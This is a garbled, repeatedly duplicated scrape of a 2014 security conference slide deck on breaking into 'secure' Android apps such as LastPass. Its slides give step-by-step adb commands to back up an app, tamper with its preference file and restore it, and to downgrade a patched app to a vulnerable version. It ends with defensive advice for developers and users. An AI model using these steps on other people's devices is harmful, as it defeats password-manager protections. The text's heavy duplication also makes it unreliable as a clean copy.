  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 158: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 159: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 160: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 161: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

